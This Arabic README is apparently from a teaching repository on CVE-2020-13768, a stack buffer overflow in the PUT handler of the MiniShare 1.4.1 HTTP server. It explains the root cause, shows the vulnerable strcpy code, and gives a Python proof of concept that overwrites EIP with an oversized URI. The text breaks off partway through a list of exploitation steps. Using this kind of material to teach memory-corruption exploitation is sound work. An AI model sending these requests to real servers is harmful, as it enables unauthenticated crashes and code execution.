
تجاوز سعة المخزن المؤقت في المكدس في MiniShare 1.4.1 يمكن الوصول إليه عبر طلب HTTP PUT واحد.
تجاوز سعة المخزن المؤقت في المكدس في MiniShare 1.4.1 يمكن الوصول إليه عبر طلب HTTP PUT واحد.
هذا المستودع جزء من المواد التي أستخدمها عند تدريس استغلال تلف الذاكرة (بالإضافة إلى عملي المعتاد، أقوم أيضًا بالتدريس في دورات مختلفة في الأمن السيبراني حيث أساعد في تدريب الجيل القادم من مهندسي الهندسة العكسية).
CVE-2020-13768 هي حالة أستخدمها عندما أريد إظهار كيف يمكن للخوادم البسيطة التي تواجه الشبكة أن تعرض تجاوزات سعة المخزن المؤقت التقليدية في المكدس من خلال طرق البروتوكول القياسية. لا تتطلب النقطة الضعيفة أي مصادقة، والتجاوز هو كتابة مباشرة على EIP، ومسار الاستغلال نظيف ومحدد جيدًا. إنها حالة مثالية لتعلم منهجية الاستغلال الكاملة في سيناريو بعيد غير مصادق عليه واقعي.
ما يجعل هذه الحالة مثيرة للاهتمام أيضًا كتمرين تعليمي هو أن نفس السبب الجذري، وهو إدخال غير معقم يتم نسخه إلى مخزن مؤقت ثابت الحجم في المكدس، يظهر عبر إدخالات CVE متعددة لنفس البرنامج الثنائي. تصف CVE-2018-19861 وCVE-2018-19862 وCVE-2019-17601 نفس الفئة من الثغرات، تم الإبلاغ عنها من قبل باحثين مختلفين عبر طرق أو نقاط نهاية HTTP مختلفة. هذا يعلم الطلاب النظر إلى الأسباب الجذرية بدلاً من أرقام CVE فقط.
تؤثر هذه الثغرة على MiniShare 1.4.1، وهو خادم HTTP خفيف الوزن لنظام Windows تم إيقافه، مصمم لمشاركة الملفات المحلية البسيطة. تمت كتابة البرنامج دون وضع الممارسات الأمنية الحديثة في الاعتبار. ما يجعل هذه الحالة مثيرة للاهتمام بشكل خاص من منظور تعليمي هو مجموعة العوامل المتضمنة:
هذا المزيج يجعل CVE-2020-13768 حالة ممتازة لتعليم أساسيات استغلال تجاوز سعة المخزن المؤقت القائم على الشبكة في سيناريو بعيد غير مصادق عليه واقعي.
MiniShare هو خادم HTTP ضئيل لنظام Windows مصمم أصلاً لمشاركة الملفات المحلية السريعة عبر شبكة LAN. يستمع على منفذ TCP 80 ويتعامل مع مجموعة فرعية صغيرة من طرق HTTP بما في ذلك GET و PUT. يعالج معالج PUT الطلبات الواردة وينسخ مسار URI إلى مخزن مؤقت ثابت الحجم في المكدس دون التحقق من طوله.
التفاصيل التقنية الرئيسية:
يعالج MiniShare طلبات HTTP الواردة ويوزعها على المعالج المناسب بناءً على الطريقة. يستخرج معالج PUT مسار URI من الطلب وينسخه إلى مخزن مؤقت ثابت الحجم في المكدس دون التحقق من طوله.
تبدو نسخة مبسطة من المنطق الضعيف كما يلي:
char path_buffer[256];
strcpy(path_buffer, uri_path);
نظرًا لأن المخزن المؤقت الوجهة له حجم ثابت وأن طول الإدخال غير مُتحقق منه، فإن إرسال URI طويل بما فيه الكفاية في طلب PUT يتسبب في كتابة النسخة بعد نهاية المخزن المؤقت، لتصل في النهاية إلى عنوان الإرجاع المحفوظ (EIP) على المكدس وتكتب فوقه.
عندما تعود الدالة الضعيفة، يقوم المعالج المركزي بتحميل القيمة التي يتحكم فيها المهاجم من المكدس إلى EIP ويقفز إليها. إذا كان هذا العنوان يشير إلى بيانات يتحكم فيها المهاجم تحتوي على كود شيل، يتم تحقيق تنفيذ تعليمات برمجية عشوائية.
يمكن إعادة إنتاج الانهيار عن طريق إرسال URI كبير الحجم في طلب HTTP PUT. لا تتطلب أي مصادقة. مثال باستخدام Python:
import socket
HOST = '127.0.0.1'
PORT = 80
payload = b"A" * 3000
request = (
b"PUT /" + payload + b" HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Connection: close\r\n"
b"\r\n"
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.send(request)
s.close()
عند التنفيذ تحت مصحح أخطاء، يظهر الانهيار أن EIP قد تمت كتابته ببيانات يتحكم فيها المستخدم:
EIP = 41414141
مما يؤكد أن عنوان الإرجاع المحفوظ قد تم إتلافه بسبب التجاوز.
الهدف من هذا المستودع ليس فقط إظهار الانهيار، بل أيضًا السير خلال عملية الاستغلال الكاملة خطوة بخطوة، باتباع المنهجية المستخدمة عند تطوير استغلالات حقيقية قائمة على المكدس.
للحفاظ على README الرئيسي نظيفًا، تم وضع الملاحظات التفصيلية حول الاستغلال والسيناريوهات وخطوات مصحح الأخطاء داخل مجلد Vulnerability 📂 في هذا المستودع.
هناك ستجد سير العمل الكامل المستخدم لاستغلال هذه CVE، بما في ذلك: